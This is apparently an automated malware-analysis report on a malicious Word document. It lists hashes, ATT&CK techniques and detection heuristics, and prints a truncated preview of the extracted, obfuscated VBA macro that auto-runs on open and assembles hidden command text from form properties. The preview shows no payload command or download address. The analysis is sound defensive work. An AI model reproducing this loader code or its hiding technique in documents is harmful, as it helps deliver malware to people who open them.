Office (OLE) malware analysis — malicious · 5b6cc554583e44d7

MALICIOUS

Office (OLE)

206.0 KB Created: 2019-12-19 16:05:00 Authoring application: Microsoft Office Word First seen: 2020-05-25

MD5: 513437d1f6efd5bf02a0c731ba1feef6 SHA-1: 14ad5994a3a3f30f990a316ee0350f6018dddb2a SHA-256: 5b6cc554583e44d7e69864ade8d2a79cb71683349e79b407f05ccec1dcac8eee

302 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file contains VBA macros, specifically a Document_Open macro that utilizes CreateObject and GetObject calls, indicative of a command stager. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' strongly suggests the macro is designed to execute a payload, likely by downloading and running a second-stage file. The ClamAV detection further confirms its malicious nature. No specific family could be identified.

Heuristics 8

ClamAV: Doc.Malware.Sagent-7465585-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Sagent-7465585-0
VBA macros detected medium 5 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER

VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
GetObject call high OLE_VBA_GETOBJ

GetObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13651 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	13651 bytes
SHA-256: `0ee12abcc8340cdd3c4e3901e953d5c116c0ac389cabca5516b8252ea380d257`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Biiebedetmjc" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Control = "Zkokfmlkkd, 0, 0, MSForms, TextBox" Private Sub Document_open() Qecpcvbeqmd = "Delia" Dim Rjjhockq As Integer Dim Cbebccdfbvq As String Qkegeqhgxb = ("Ipsam velit modi nihil.") Dim Uxfvfeztqaoyt As Boolean Dim Mhcllcxs As Integer Dim Wfzqheageh As Double Jvqqvuqwgmfou = Pmtweiljyzdi Dim Rorwoxhuugc As String Ejalvjkl = ("Nesciunt harum.") Dim Lbpylrrslu As Integer Dim Xosgbnurmub As Boolean Dim Aynhzlcwd As String Yyvdcnqirplm = "Optio nostrum quia officiis cum aut." Dim Iwqdyqzhslt As Boolean Dim Migruhwics As String Dim Zdtrromutrp As Boolean Fpwqgkjycezk = ("Beatae eum laborum voluptas.") Dim Ewgfezozmfq As Boolean Hkrutuyosarvh = 973 Wzugtxhxnll = Gcqagncol Pzclvokwr = 113 Shvxlndsue Apbhmkhl = "Laborum." Dim Ynjzrbscvr As Boolean Dim Iwewizngdixc As Integer Dahchuisbcvd = ("Possimus temporibus blanditiis.") Dim Xpoxofgf As String Dim Chxlhpqhwvy As Double Dim Tjtmpvbaerlj As Boolean Zoxoyxrzzxxl = Ohmdftvous Dim Bpyqlcsvrs As Double Audtkvpei = ("Antoinette") Dim Weieuyktfx As Double Dim Bbilvsqvwjfck As Integer Dim Ezdmbmeb As Double Xywgysjm = "Ratione." Dim Sbkulstp As Double Dim Ftewgubknjxzw As Integer Dim Uuoxqwqnojdoj As Boolean Topnweuzae = ("Blanditiis reiciendis quia optio.") Dim Znesebxqxeswc As String Pmdfsieqj = 994 Lsavoszxrz = Ynmklovtkhye Yzquxuhvpeqcp = 874 End Sub Attribute VB_Name = "Gekqhyok" Attribute VB_Base = "0{8C70DE50-4468-445F-85A6-81E019960B0F}{547C4F37-3AC7-4FC3-99ED-C836033B6DCA}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "Mqjvgselamjx" Function Yihtkkaiimsgf() Ppmkcmacpty = "Sed." Dim Nemdykxaoante As String Dim Xpnzobtgqm As String Jejourko = ("Id in aut totam.") Dim Yclqnboyq As Boolean Dim Nezfypvtyvqj As Double Dim Vfmsbteopql As String Osrrwrkvzjjvc = Ymitecrwcgpe Dim Pjukqgbheurws As String Dwzdjqcirjvwv = ("Qui consequuntur voluptate.") Dim Gmvxkzollj As Integer Dim Hnbikvayjqa As Boolean Dim Mbcavjgtt As Boolean Aulwolnuq = "Victor" Dim Upalavpbqlqo As String Dim Mkqzmyoawhpkd As String Dim Cfpjrgmakikdr As Boolean Kgoxcawvdagu = ("Occaecati qui provident facere ducimus laudantium voluptatum rerum perferendis provident.") Dim Vqrfdofaffsz As Double Qbuxddxjv = 896 Xfklilmuh = Txninjbjfcpq Gjqovlvl = 227 Qsfixlfp = Biiebedetmjc.Zkokfmlkkd Zqtczhczoxi = "Rerum sapiente libero qui deleniti ab aut." Dim Bpkypxtkf As String Dim Xbypzmkjbd As Integer Aolsponbnrn = ("Qui saepe magni ut dolor velit voluptatem.") Dim Txkkcetx As Boolean Dim Ximabnzid As String Dim Jkefdwss As Integer Nbmgpzzyy = Tjnjdoloojk Dim Jngezibe As String Jgzulnajeokpa = ("Nesciunt.") Dim Ahgejwdplwbsu As Integer Dim Wllkdcduaao As Double Dim Xqtnqiyau As Double Bgroxjvgkorye = "Rita" Dim Txngevxxruc As Double Dim Lbpblmjw As String Dim Wqeiorgsoxd As String Nowdejzt = ("Quos ea labore dolores.") Dim Sujyqnrgqiiq As String Miflcnqzvabno = 86 Nmucvmnfs = Xrmhsxyxq Nrgesyix = 948 Efixhpaq = Qsfixlfp + Gekqhyok.Oapnvierak + Gekqhyok.Qlbjnnkdn + Gekqhyok.Uuxykqulf Fmnevdbzxz = "Thomas" Dim Upzrimajcnw As Double Dim Ywzzqzaqb As Integer Fejmgseilpig = ("Est eos odio.") Dim Rerxhrpkyxh As Integer Dim Harxsbilddndj As Integer Dim Srpqnjzuitu As String Vgmfftxi = Peeenbeuxjbs Dim Ropifieyf As String Wrixqkfyyal = ("Rerum aut necessitatibus dolor.") Dim Ltezwnacz As Integer Dim Rdpcloqzxnq As Boolean Dim Whyvuihffkwle As Integer Sgnxmtgm = "Sophia" Dim Mkjllruj As Boolean Dim Poeirwil As Double Dim Qgjohrztxcpu As String Hxyuutccxbmd = ("Non quia sunt est voluptatem placeat veritatis reprehenderit rerum ex ... (truncated)

SHA-256: 0ee12abcc8340cdd3c4e3901e953d5c116c0ac389cabca5516b8252ea380d257

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "Biiebedetmjc"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Zkokfmlkkd, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Qecpcvbeqmd = "Delia"
Dim Rjjhockq As Integer
Dim Cbebccdfbvq As String
Qkegeqhgxb = ("Ipsam velit modi nihil.")
Dim Uxfvfeztqaoyt As Boolean
Dim Mhcllcxs As Integer
Dim Wfzqheageh As Double
Jvqqvuqwgmfou = Pmtweiljyzdi
Dim Rorwoxhuugc As String
Ejalvjkl = ("Nesciunt harum.")
Dim Lbpylrrslu As Integer
Dim Xosgbnurmub As Boolean
Dim Aynhzlcwd As String
Yyvdcnqirplm = "Optio nostrum quia officiis cum aut."
Dim Iwqdyqzhslt As Boolean
Dim Migruhwics As String
Dim Zdtrromutrp As Boolean
Fpwqgkjycezk = ("Beatae eum laborum voluptas.")
Dim Ewgfezozmfq As Boolean
Hkrutuyosarvh = 973
Wzugtxhxnll = Gcqagncol
Pzclvokwr = 113
Shvxlndsue
   Apbhmkhl = "Laborum."
Dim Ynjzrbscvr As Boolean
Dim Iwewizngdixc As Integer
Dahchuisbcvd = ("Possimus temporibus blanditiis.")
Dim Xpoxofgf As String
Dim Chxlhpqhwvy As Double
Dim Tjtmpvbaerlj As Boolean
Zoxoyxrzzxxl = Ohmdftvous
Dim Bpyqlcsvrs As Double
Audtkvpei = ("Antoinette")
Dim Weieuyktfx As Double
Dim Bbilvsqvwjfck As Integer
Dim Ezdmbmeb As Double
Xywgysjm = "Ratione."
Dim Sbkulstp As Double
Dim Ftewgubknjxzw As Integer
Dim Uuoxqwqnojdoj As Boolean
Topnweuzae = ("Blanditiis reiciendis quia optio.")
Dim Znesebxqxeswc As String
Pmdfsieqj = 994
Lsavoszxrz = Ynmklovtkhye
Yzquxuhvpeqcp = 874
End Sub

Attribute VB_Name = "Gekqhyok"
Attribute VB_Base = "0{8C70DE50-4468-445F-85A6-81E019960B0F}{547C4F37-3AC7-4FC3-99ED-C836033B6DCA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Mqjvgselamjx"
Function Yihtkkaiimsgf()
   Ppmkcmacpty = "Sed."
Dim Nemdykxaoante As String
Dim Xpnzobtgqm As String
Jejourko = ("Id in aut totam.")
Dim Yclqnboyq As Boolean
Dim Nezfypvtyvqj As Double
Dim Vfmsbteopql As String
Osrrwrkvzjjvc = Ymitecrwcgpe
Dim Pjukqgbheurws As String
Dwzdjqcirjvwv = ("Qui consequuntur voluptate.")
Dim Gmvxkzollj As Integer
Dim Hnbikvayjqa As Boolean
Dim Mbcavjgtt As Boolean
Aulwolnuq = "Victor"
Dim Upalavpbqlqo As String
Dim Mkqzmyoawhpkd As String
Dim Cfpjrgmakikdr As Boolean
Kgoxcawvdagu = ("Occaecati qui provident facere ducimus laudantium voluptatum rerum perferendis provident.")
Dim Vqrfdofaffsz As Double
Qbuxddxjv = 896
Xfklilmuh = Txninjbjfcpq
Gjqovlvl = 227
Qsfixlfp = Biiebedetmjc.Zkokfmlkkd
   Zqtczhczoxi = "Rerum sapiente libero qui deleniti ab aut."
Dim Bpkypxtkf As String
Dim Xbypzmkjbd As Integer
Aolsponbnrn = ("Qui saepe magni ut dolor velit voluptatem.")
Dim Txkkcetx As Boolean
Dim Ximabnzid As String
Dim Jkefdwss As Integer
Nbmgpzzyy = Tjnjdoloojk
Dim Jngezibe As String
Jgzulnajeokpa = ("Nesciunt.")
Dim Ahgejwdplwbsu As Integer
Dim Wllkdcduaao As Double
Dim Xqtnqiyau As Double
Bgroxjvgkorye = "Rita"
Dim Txngevxxruc As Double
Dim Lbpblmjw As String
Dim Wqeiorgsoxd As String
Nowdejzt = ("Quos ea labore dolores.")
Dim Sujyqnrgqiiq As String
Miflcnqzvabno = 86
Nmucvmnfs = Xrmhsxyxq
Nrgesyix = 948
Efixhpaq = Qsfixlfp + Gekqhyok.Oapnvierak + Gekqhyok.Qlbjnnkdn + Gekqhyok.Uuxykqulf
   Fmnevdbzxz = "Thomas"
Dim Upzrimajcnw As Double
Dim Ywzzqzaqb As Integer
Fejmgseilpig = ("Est eos odio.")
Dim Rerxhrpkyxh As Integer
Dim Harxsbilddndj As Integer
Dim Srpqnjzuitu As String
Vgmfftxi = Peeenbeuxjbs
Dim Ropifieyf As String
Wrixqkfyyal = ("Rerum aut necessitatibus dolor.")
Dim Ltezwnacz As Integer
Dim Rdpcloqzxnq As Boolean
Dim Whyvuihffkwle As Integer
Sgnxmtgm = "Sophia"
Dim Mkjllruj As Boolean
Dim Poeirwil As Double
Dim Qgjohrztxcpu As String
Hxyuutccxbmd = ("Non quia sunt est voluptatem placeat veritatis reprehenderit rerum ex
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.